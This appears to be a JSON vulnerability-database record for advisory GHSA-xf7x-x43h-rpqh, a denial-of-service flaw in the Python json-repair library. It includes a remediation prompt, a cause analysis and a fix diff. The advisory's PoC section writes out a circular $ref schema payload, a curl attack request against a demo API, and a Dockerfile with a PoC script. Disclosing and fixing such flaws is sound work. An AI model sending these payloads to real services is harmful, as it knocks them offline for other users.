{"answers":{"affected":"2 open source packages ship an affected version, including json-repair.","exploited":"There is no known exploitation of GHSA-xf7x-x43h-rpqh in the wild and no public exploit code.","fix":"Upgrade json-repair to 0.60.1 or later.","what":"GHSA-xf7x-x43h-rpqh is a denial of service vulnerability in json-repair, published on 13 Jul 2026. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-xf7x-x43h-rpqh and fix it if it is affected.\n\nWhat it is: GHSA-xf7x-x43h-rpqh is a denial of service vulnerability in json-repair, published on 13 Jul 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-xf7x-x43h-rpqh in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- json-repair (PyPI): affected all versions; fixed in 0.60.1\n- json-repair (PyPI): affected all versions; fixed in 0.60.1\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-xf7x-x43h-rpqh/ (Markdown: https://insights.sbomify.com/GHSA-xf7x-x43h-rpqh/index.md)","id":"GHSA-xf7x-x43h-rpqh","markdown":"https://insights.sbomify.com/GHSA-xf7x-x43h-rpqh/index.md","name":"GHSA-xf7x-x43h-rpqh","record":{"aliases":[],"analysis":{"component_type":"library","fix_type":"patch","impacts":["denial_of_service"],"network_reachable":"yes","non_default_config":false,"product_category":"Python JSON repair library","requires_auth":"none","summary":"An attacker can cause a denial of service by supplying a circular JSON schema reference, leading to unbounded CPU consumption in the json_repair library.","user_interaction":"not_required","vuln_class":"denial_of_service"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"## Circular JSON Schema `$ref` causes unbounded CPU DoS in `json_repair`\n\n### Summary\n\n`SchemaRepairer.resolve_schema()` in `json_repair` follows JSON Schema `$ref` pointers in an unbounded `while` loop without any cycle detection. An attacker who can supply a schema containing a self-referencing `$ref` (e.g., via the demo Flask API or any application that passes untrusted input to `loads(..., schema=...)`), can cause a worker process to spin indefinitely on CPU, resulting in a complete denial of service. No authentication is required against the public demo API. The vulnerability is confirmed reproducible at CVSS 7.5 (High).\n\n### Details\n\n`SchemaRepairer.resolve_schema()` at `src/json_repair/schema_repair.py:184–190` resolves `$ref` chains using a plain `while` loop:\n\n```python\n# src/json_repair/schema_repair.py:184-190\nschema_dict = cast(\"dict[str, Any]\", schema)\nwhile \"$ref\" in schema_dict:\n    ref = schema_dict[\"$ref\"]\n    resolved = self._resolve_ref(ref)\n    if isinstance(resolved, bool):\n        return resolved\n    schema_dict = resolved\n```\n\n`_resolve_ref()` at `src/json_repair/schema_repair.py:654–665` always resolves references relative to `self.root_schema`, which is initialised from the caller-supplied schema (`src/json_repair/schema_repair.py:130`). When the schema contains a circular reference such as:\n\n```json\n{\"$ref\": \"#/definitions/a\", \"definitions\": {\"a\": {\"$ref\": \"#/definitions/a\"}}}\n```\n\n`_resolve_ref()` returns the same `dict` object on every iteration, so `\"$ref\" in schema_dict` is always `True` and the loop never terminates.\n\nThe vulnerable sink is reachable without authentication through the demo Flask API:\n\n```python\n# docs/app.py:14, 21-36\ndata = request.get_json()\nschema = data.get(\"schema\")\nif schema is not None and not isinstance(schema, (dict, bool)):\n    raise ValueError(\"schema must be a JSON object or boolean.\")\n...\nif schema is not None:\n    loads_kwargs[\"schema\"] = schema\nparsed_json = loads(malformed_json, **loads_kwargs)\n```\n\nThe only guard is a top-level `isinstance(dict, bool)` check; there is no `$ref` depth limit, no visited-set, and no timeout enforced by the library. The full data-flow path is:\n\n1. `docs/app.py:14` — `request.get_json()` reads the attacker-controlled HTTP body.\n2. `docs/app.py:21–23` — `schema` is extracted; only `dict`/`bool` type check applied.\n3. `docs/app.py:33–36` — schema is forwarded verbatim to `loads()`.\n4. `src/json_repair/json_repair.py:145–148` — `schema_from_input(schema)` instantiates `SchemaRepairer`.\n5. `src/json_repair/json_repair.py:160` — `repairer.is_valid()` calls `resolve_schema()`, triggering the infinite loop.\n6. `src/json_repair/schema_repair.py:184–190` — unbounded `while \"$ref\" in schema_dict` loop (sink).\n7. `src/json_repair/schema_repair.py:654–665` — `_resolve_ref()` returns the same object on every call.\n\n**Recommended fix:**\n\n```diff\n--- a/src/json_repair/schema_repair.py\n+++ b/src/json_repair/schema_repair.py\n     def resolve_schema(self, schema: object | None) -\u003e dict[str, Any] | bool:\n         ...\n-        schema_dict = cast(\"dict[str, Any]\", schema)\n+        schema_dict = cast(\"dict[str, Any]\", schema)\n+        seen_schema_ids: set[int] = set()\n         while \"$ref\" in schema_dict:\n             ref = schema_dict[\"$ref\"]\n+            if not isinstance(ref, str):\n+                raise SchemaDefinitionError(\"$ref must be a string.\")\n+            schema_id = id(schema_dict)\n+            if schema_id in seen_schema_ids:\n+                raise SchemaDefinitionError(f\"Circular $ref detected: {ref}\")\n+            seen_schema_ids.add(schema_id)\n             resolved = self._resolve_ref(ref)\n             if isinstance(resolved, bool):\n                 return resolved\n             schema_dict = resolved\n         return schema_dict\n```\n\n### PoC\n\n**Environment setup:**\n\n```bash\n# Clone the affected version\ngit clone https://github.com/mangiucugna/json_repair.git\ngit -C json_repair checkout 0015c74c01bdafe4bb7435780657501741c2a5f7\n\n# Install dependencies\npip install flask flask-cors jsonschema pydantic\npip install -e json_repair/\n\n# Start the demo API\nPYTHONPATH=json_repair/src flask --app json_repair/docs/app run --host=127.0.0.1 --port=5005\n```\n\n**Alternatively, use the provided Docker image:**\n\n```dockerfile\nFROM python:3.11-slim\nWORKDIR /app\nCOPY repo/ /app/repo/\nRUN pip install --no-cache-dir flask flask-cors jsonschema pydantic \u0026\u0026 \\\n    pip install --no-cache-dir -e /app/repo/\nCOPY vuln-001/poc.py /app/poc.py\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n```bash\ndocker build -t vuln001-json-repair -f vuln-001/Dockerfile .\ndocker run --rm vuln001-json-repair\n```\n\n**HTTP attack request (demo API):**\n\n```bash\ntimeout 5 curl -sS -X POST http://127.0.0.1:5005/api/repair-json \\\n  -H 'Content-Type: application/json' \\\n  --data '{\"malformedJSON\":\"{}\",\"schema\":{\"$ref\":\"#/definitions/a\",\"definitions\":{\"a\":{\"$ref\":\"#/definitions/a\"}}}}'\n# Expected: no response before timeout; curl exits with code 124\n```\n\n**Direct library attack:**\n\n```bash\ntimeout 5 python3 - \u003c\u003c'PY'\nfrom json_repair import loads\nschema = {\"$ref\": \"#/definitions/a\", \"definitions\": {\"a\": {\"$ref\": \"#/definitions/a\"}}}\nprint(loads(\"{}\", schema=schema))\nPY\n# Expected: process killed after 5 s; exit code 124\n```\n\n**Observed results (from Docker-based dynamic reproduction):**\n\n- Baseline (valid schema `{\"type\":\"object\",\"properties\":{\"name\":{\"type\":\"string\"}}}`): completed in **0.261 s**.\n- Attack (circular `$ref` schema): **timed out after 5.01 s** — process killed; infinite loop confirmed.\n\n### Impact\n\nThis is an unauthenticated **denial-of-service** vulnerability. Any single HTTP request carrying a circular `$ref` schema hangs the Flask worker process indefinitely, making the service unavailable to all other users until the process is killed or the server is restarted. Because the public demo API (`docs/app.py`) accepts the `schema` field from the request body without authentication and passes it directly to `loads()`, remote attackers can exploit this with a trivial one-liner.\n\nBeyond the demo API, any application that exposes `json_repair.loads(..., schema=\u003cuser-controlled\u003e)` to untrusted callers is equally affected. The vulnerability requires no special privileges, produces no useful output for the attacker (confidentiality and integrity are unaffected), and is deterministically reproducible.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.11-slim\n\nWORKDIR /app\n\n# Copy the vulnerable json_repair repository (build context is the report root)\nCOPY repo/ /app/repo/\n\n# Install Flask demo API dependencies and schema extras\nRUN pip install --no-cache-dir \\\n        flask \\\n        flask-cors \\\n        jsonschema \\\n        pydantic \u0026\u0026 \\\n    pip install --no-cache-dir -e /app/repo/\n\n# Copy the proof-of-concept script\nCOPY vuln-001/poc.py /app/poc.py\n\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Circular JSON Schema $ref causes unbounded CPU DoS\nCWE-835 — Loop with Unreachable Exit Condition\n\nAffected: json_repair \u003c= 0.59.10 (commit 0015c74)\nSink:     src/json_repair/schema_repair.py:185\n          SchemaRepairer.resolve_schema() while loop follows $ref without cycle detection.\n\nAttack schema:\n    {\"$ref\": \"#/definitions/a\", \"definitions\": {\"a\": {\"$ref\": \"#/definitions/a\"}}}\n\nWhen passed to loads(..., schema=\u003cabove\u003e), resolve_schema() enters an infinite loop\nbecause _resolve_ref() always returns the same dict object from root_schema.\n\nVerdict logic:\n  - Baseline (valid schema) must complete in \u003c TIMEOUT seconds.\n  - Attack (circular $ref) must still be running at TIMEOUT seconds.\n  Both conditions together constitute deterministic proof of the vulnerability.\n\"\"\"\n\nimport os\nimport subprocess\nimport sys\nimport tempfile\nimport time\n\n# Seconds to wait before declaring the attack confirmed (infinite loop)\nTIMEOUT_SECONDS = 5\n\nCIRCULAR_SCHEMA = {\n    \"$ref\": \"#/definitions/a\",\n    \"definitions\": {\n        \"a\": {\"$ref\": \"#/definitions/a\"}\n    }\n}","ecosystems":["PyPI"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"json_repair: Circular JSON Schema `$ref` causes unbounded CPU DoS","id":"GHSA-xf7x-x43h-rpqh","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"PyPI","product":null,"products":[],"type":"denial_of_service","year":"2026"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"PyPI","fixed":["0.60.1"],"introduced":["0"],"last_affected":[],"package":"json-repair","purl":null,"source":"GHSA-xf7x-x43h-rpqh"},{"ecosystem":"PyPI","fixed":["0.60.1"],"introduced":["0"],"last_affected":[],"package":"json-repair","purl":"pkg:pypi/json-repair","source":"GHSA-xf7x-x43h-rpqh"}],"products":null,"published":"2026-07-13","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"An attacker can cause a denial of service by supplying a circular JSON schema reference, leading to unbounded CPU consumption in the json_repair library.","url":"https://insights.sbomify.com/GHSA-xf7x-x43h-rpqh/"}